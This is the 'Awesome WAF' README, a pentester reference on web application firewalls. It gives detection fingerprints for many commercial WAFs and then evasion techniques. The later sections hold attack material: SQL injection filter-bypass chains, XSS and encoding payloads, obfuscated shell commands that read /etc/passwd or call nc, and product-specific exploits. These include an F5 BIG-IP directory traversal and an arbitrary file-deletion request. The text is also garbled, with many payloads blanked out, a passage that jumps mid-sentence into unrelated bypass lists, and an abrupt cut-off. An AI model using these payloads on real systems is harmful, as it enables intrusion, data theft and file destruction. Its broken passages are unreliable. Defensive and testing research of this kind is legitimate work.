# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg "Awesome")](https://github.com/0xinfection/awesome-waf) > A curated list of awesome WAF stuff. 🔥 > > __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. You might want to keep this repo on a watch, since it will be updated regularly. "The community just learns from each other." __#SharingisCaring__ ![Main Logo](images/how-wafs-work.png 'How wafs work') __A Concise Definition:__ A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))* Feel free to [contribute](CONTRIBUTING.md). ### Contents: - [Introduction](#introduction) - [How WAFs Work](#how-wafs-work) - [Operation Modes](#operation-modes) - [Testing Methodology](#testing-methodology) - [Where To Look](#where-to-look) - [Detection Techniques](#detection-techniques) - [WAF Fingerprints](#waf-fingerprints) - [Evasion Techniques](#evasion-techniques) - [Fuzzing/Bruteforcing](#fuzzingbruteforcing) - [Regex Reversing](#regex-reversing) - [Obfuscation/Encoding](#obfuscation) - [Browser Bugs](#browser-bugs) - [HTTP Header Spoofing](#request-header-spoofing) - [Google Dorks Approach](#google-dorks-approach) - [Known Bypasses](#known-bypasses) - [Awesome Tooling](#awesome-tools) - [Fingerprinting](#fingerprinting) - [Testing](#testing) - [Evasion](#evasion) - [Blogs & Writeups](#blogs-and-writeups) - [Video Presentations](#video-presentations) - [Research Presentations & Papers](#presentations--research-papers) - [Research Papers](#research-papers) - [Presentation Slides](#presentations) - [Licensing & Credits](#credits--license) ## Introduction: ### How WAFs Work: - Using a set of rules to distinguish between normal requests and malicious requests. - Sometimes they use a learning mode to add rules automatically through learning about user behaviour. ### Operation Modes: - __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all `` inputs. - __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees. - __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. ## Testing Methodology: ### Where To Look: - Always look out for common ports that expose that a WAF `80`, `443`, `8000`, `8008`, `8080`, `8088`. > __Tip:__ You can use automate this easily by commandline using a screenshot taker like [WebScreenShot](https://github.com/maaaaz/webscreenshot). - Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF). - Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF). - Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, F5 Big IP). - Some (often rare) expose themselves in the `Server` header (eg. Approach, WTS WAF). - Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock). - Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF). ### Detection Techniques: 1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies). 2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 3. If there is a login page somewhere, try some common (easily detectable) payloads like `' or 1 = 1 --`. 4. If there is some input field somewhere, try with noisy payloads like ``. 5. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries). 6. Many a times, the WAF varies the `Server` header upon different types of interactions. 7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response. > __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net). 8. Side Channel Attacks - Examine the timing behaviour of the request and response content. ## WAF Fingerprints Wanna detect WAFs? Lets see how. > __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
360 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 493 upon unusual requests.
    • On viewing source-code of error page, you will find reference to wzws-waf-cgi/ directory.
    • Source code may contain reference to wangshan.360.cn URL.
    • Response headers contain X-Powered-By-360WZB Header.
aeSecure
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains aesecure_denied.png image (view source to see).
    • Response headers contain aeSecure-code value.
Airlock (Phion/Ergon)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers may contain:
      • AL-SESS cookie field name (case insensitive).
      • AL-LB value (case insensitive).
Aliyundun Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
      • Reference to errors.aliyun.com site.
Anquanbao WAF
  • Detectability: Easy
  • Detection Methodology:
    • Returns blocked HTTP response code 405 upon malicious requests.
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
    • Response headers contain X-Powered-by-Anquanbao header field.
Armor Defense
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains warning
      This request has been blocked by website protection from Armor.
Application Security Manager (F5 Networks)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
Approach Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Approach Web Application Firewall heading.
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
      • Sorry for the inconvenience! keyword.
      • If this was an legitimate request please contact us with details! text snippet.
    • Server header has field value set to Approach Web Application Firewall.
Amazon AWS WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain AWS value.
    • Blocked response status code return 403 Forbidden response.
Baidu Yunjiasu
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Yunjiasu-ngnix value.
Barracuda WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
Bekchy (Faydata)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied.
    • Blocked response page contains reference to https://bekchy.com/report.
BitNinja Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text snippet.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text snippet.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
BIG-IP ASM (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BinarySec WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain binarysec keyword value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain reference to BlockDos.net URL.
CDN NS Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains by CdnNsWAF Application Gateway text snippet.
ChinaCache Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
    • Blocked response codes contain 400 Bad Request error upon malicious request.
Cisco ACE XML Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers have ACE XML Gateway value.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content has Cloudbric and Malicious Code Detected texts.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
Cloudfront (Amazon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Error from cloudfront error upon malicious request.
Comodo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Protected by COMODO WAF value.
CrawlProtect (Jean-Denis Brun)
  • Detectability: Easy
  • Detection Methodology:
    • Response content contains value
      This site is protected by CrawlProtect.
GoDaddy Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
IBM WebSphere DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Deny-All Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Response headers might contain DOSarrest keyword.
dotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Expression Engine (EllisLab)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid POST Request in response content.
FortiWeb Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains value .fgd_icon keyword.
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Set-Cookie header has cookie field cookiesession1=.
GreyWizard Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      We've detected attempted attack or non standard traffic from your IP address text snippet.
    • Blocked response page title contains Grey Wizard keyword.
    • Response headers contain greywizard keyword.
HyperGuard Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
Imperva SecureSphere
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses in response headers.
Immunify360 (CloudLinux Inc.)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain imunify360 keyword.
    • Response page contains:
      • Powered by Imunify360 text snippet.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
ISAServer
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= in response headers.
    • Response headers have jiasule-WAF or jsl_tracking keywords.
    • Blocked response content has notice-jiasule keyword.
KnownSec Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Headers contain AkamaiGHost keyword.
Malcare (Inactiv)
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text snippet.
      • Firewall powered by MalCare text snippet.
ModSecurity (Trustwave)
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text snippet.
      • One or more things in your request were suspicious text snippet.
      • rules of the mod_security module text snippet.
    • Response headers may contain Mod_Security or NYOB keywords.
NAXSI (NBS Systems)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
Netcontinuum (Barracuda)
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NinjaFirewall (NinTechNet)
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text snippet.
      • NinjaFirewall keyword.
    • Returns a 403 Forbidden response upon malicious requests.
NetScaler (Citrix)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NewDefend Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain newdefend keyword.
NSFocus Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain NSFocus keyword.
onMessage Shield (Blackbaud)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unusual header X-Engine field with value onMessage Shield.
    • Response page may contain onMessage SHIELD keyword.
    • You might encounter response page with
      This site is protected by an enhanced security system to ensure a safe browsing experience.
Palo Alto Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains the following text snippet
      has been blocked in accordance with company policy.
PerimeterX Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
Profense Firewall
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Response headers may contain Profense keyword.
Proventia (IBM)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page might contain to request does not match Proventia rules text snippet.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
    • Response headers may contain X-SL-CompState header field name.
Reblaze Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain rbzid= header field name.
    • Response headers field values might contain Reblaze Secure Web Gateway text snippet.
Request Validation Mode (ASP.NET)
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text snippet:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall (RSJoomla)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Safe3 Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Safe3 keyword.
SafeDog Firewall
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Response headers may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecureIIS (BeyondTrust)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text snippet:
      • SecureIIS Web Server Protection.
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • subject={somevalue} SecureIIS Error text snippet.
SEnginx (Neusoft)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      Something in the URL, Form or Cookie data wasn't appropriate text snippet.
SiteGround Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text snippet.
      • The server refuse to browse the page. text snippet.
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • SiteLock Incident ID text snippet.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall (Dell)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain SonicWALL keyword value.
    • Blocked response page contains either of the following text snippet:
      • This request is blocked by the SonicWALL.
      • #shd or #nsa_banner hashtags.
      • Web Site Blocked text snippet.
Sophos UTM Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text snippet:
      • BRICK-50 keyword.
      • 404 Not Found text snippet.
StackPath (StackPath LLC)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray (RiverBed/Brocade)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy values.
    • Blocked response page contains the following text snippet:
      • Access Denied and Sucuri Website Firewall texts.
      • Email cloudproxy@sucuri.net.
    • Returns 403 Forbidden response code upon blocking.
Tencent Cloud WAF
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
TrafficShield (F5 Networks)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response headers.
URLMaster SecurityCheck (iFinity/DotNetNuke)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text snippet.
URLScan (Microsoft)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain Rejected-by-URLScan field value.
    • Blocked response page contains Rejected-by-URLScan text snippet.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains Request rejected by xVarnish-WAF text snippet.
    • Malicious request returns 404 Not Found Error.
VirusDie Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

         text snippet.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm (Nginx)
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain nginx-wallarm text snippet.
WatchGuard Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain WatchGuard header field value.
WebKnight (Aqtronix)
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text snippet.
    • Blocked response code returned is 999 No Hacking. :p
WP Cerber Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text snippet.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
Yundun Firewall
  • Detectability: Moderate
  • Detection Methodology:
    • Headers contain the yundun keyword.
Yunsuo Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains image class reference to .yunsuologo.
    • Response headers contain the yunsuo_session field name.
ZenEdge Firewall
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to zenedge/assets/ directory.
    • Headers contain the ZENEDGE keyword.
## Evasion Techniques Lets look at some methods of bypassing and evading WAFs. ### Fuzzing/Bruteforcing: #### Method: Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: - Wordlists specifically for fuzzing - [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing). - [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) - [Other Payloads](https://github.com/foospidy/payloads) #### Technique: - Load up your wordlist into fuzzer and start the bruteforce. - Record/log all responses from the different payloads fuzzed. - Use random user-agents, ranging from Chrome Desktop to iPhone browser. - If blocking noticed, increase fuzz latency (eg. 2-4 secs). - Always use proxychains, since chances are real that your IP gets blocked. #### Drawbacks: - This method often fails. - Many a times your IP will be blocked (temporarily/permanently). ### Regex-Reversing: #### Method: - Most efficient method of bypassing WAFs. - Some WAFs rely upon matching the attack payloads with the signatures in their databases. - Payload matches the reg-ex the WAF triggers alarm. #### Techniques: ### Keyword Filter Detection/Bypass __Case__: SQL Injection ##### • Step 1: __Keywords Filtered__: `and`, `or`, `union` - __Blocked Attempt__: `union select user, password from users` - __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'` ##### • Step 2: __Keywords Filtered__: `and`, `or`, `union`, `where` - __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'` ##### • Step 3: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit` - __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'` - __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` ##### • Step 4: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by` - __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'` - __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1` ##### • Step 5: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'` - __Bypassed Injection__: `1 || substr(user,1,1) = 'a'` ##### • Step 6: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'` - __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1` - __Bypassed Injection__: `1 || user_id is not null` - __Bypassed Injection__: `1 || substr(user,1,1) = 0x61` - __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)` ##### • Step 7: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex` - __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)` - __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))` ##### • Step 8: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr` - __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))` - __Bypassed Injection__: `1 || lpad(user,7,1)` ##### • Step 9: __Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space` - __Blocked Attempt__: `1 || lpad(user,7,1)` - __Bypassed Injection__: `1%0b||%0blpad(user,7,1)` ### Obfuscation: #### Method: - Encoding payload to different encodings (a hit and trial approach). - You can encode whole payload, or some parts of it and test recursively. #### Techniques: __1. Case Toggling__ - Some poorly developed WAFs filter selectively specific case WAFs. - We can combine upper and lower case characters for developing efficient payloads. __Standard__: `` __Bypassed__: `` __Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` __Bypassed__: `sELecT * FrOM all_tables whERe OWNER = 'DATABASE_NAME'` __2. URL Encoding__ - Encode normal payloads with % encoding/URL encoding. - Can be done with online tools like [this](https://www.url-encode-decode.com/). - Burp includes a in-built encoder/decoder. __Blocked__: `` __Encoded__: `"><img src=x onerror=confirm()>` (General form) __Encoded__: `"><img src=x onerror=confirm()>` (Numeric reference) __5. Mixed Encoding__ - WAF rules often tend to filter out a single type of encoding. - This type of filters can be bypassed by mixed encoding payloads. - Tabs and newlines further add to obfuscation. __Obfuscated__: ``` XSS ``` __6. Using Comments__ - Comments obfuscate standard payload vectors. - Different payloads have different ways of obfuscation. __Blocked__: `` __Bypassed__: `` __Blocked__: `/?id=1+union+select+1,2,3---` __Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3-` __7. Double Encoding__ - Often WAF filters tend to encode characters to prevent attacks. - However poorly developed filters (no recursion filters) can be bypassed with double encoding. __Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` __Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` __Standard__: `` __Obfuscated__: `%253Cscript%253Ealert('XSS')%253C%252Fscript%253E` __8. Wildcard Encoding__ - Globbing patterns are used by various command-line utilities to work with multiple files. - We can tweak them to execute system commands. - Specific to remote code execution vulnerabilities on linux systems. __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/???/??t /???/??ss??` Used chars: `/ ? t s` __Standard__: `/bin/nc 127.0.0.1 1337` __Obfuscated__: `/???/n? 2130706433 1337` Used chars: `/ ? n [0-9]` __9. String Concatenation__ - Different programming languages have different syntaxes and patterns for concatenation. - This allows us to effectively generate payloads that can bypass many filters and rules. __Standard__: `/bin/cat /etc/passwd` __Obfuscated__: `/bi'n/c'at' /e'tc'/pa'''ss'wd` > Bash allows path concatenation for execution. __Standard__: `` __Obfuscated__: ``` ``` ### Browser Bugs: #### Charset Bugs: - We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. - When the site decodes the string, the payload gets triggered. Example request: 
GET /page.php?p=%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is utf-8, it will be rendered as: `": aa Keep-Alive: 300 ``` - R-XSS Bypass by [@WAFNinja](https://waf.ninja) ``` ``` - GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E ``` - POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` ``` - `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ ``` ### __Fortinet Fortiweb__ - `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854) ``` /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 ``` - CSP Bypass by [@Binar10](https://www.exploit-db.com/exploits/18840) POST Type Query ``` POST //login-app.aspx HTTP/1.1 Host: User-Agent: Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: var1=datavar1&var2=datavar12&pad= ``` GET Type Query ``` http:///path?var1=vardata1&var2=vardata2&pad= ``` ### __F5 ASM__ - XSS Bypass by [@WAFNinja](https://waf.ninja) ```
"/>a ``` ### __F5 BIG-IP__ - XSS Bypass by [@WAFNinja](https://waf.ninja/) ```
Right-Click Here
Right-Click Here ``` - POST Based XXE by [@Anonymous](https://www.exploit-db.com/?author=2168) ``` ]> &e; ``` - F5 BIG-IP Directory Traversal by [@Anastasios Monachos](https://www.exploit-db.com/?author=2932) Read Arbitrary File ``` /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd ``` Delete Arbitrary File ``` POST /tmui/Control/form HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Content-Type: application/x-www-form-urlencoded _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete ``` - [F5 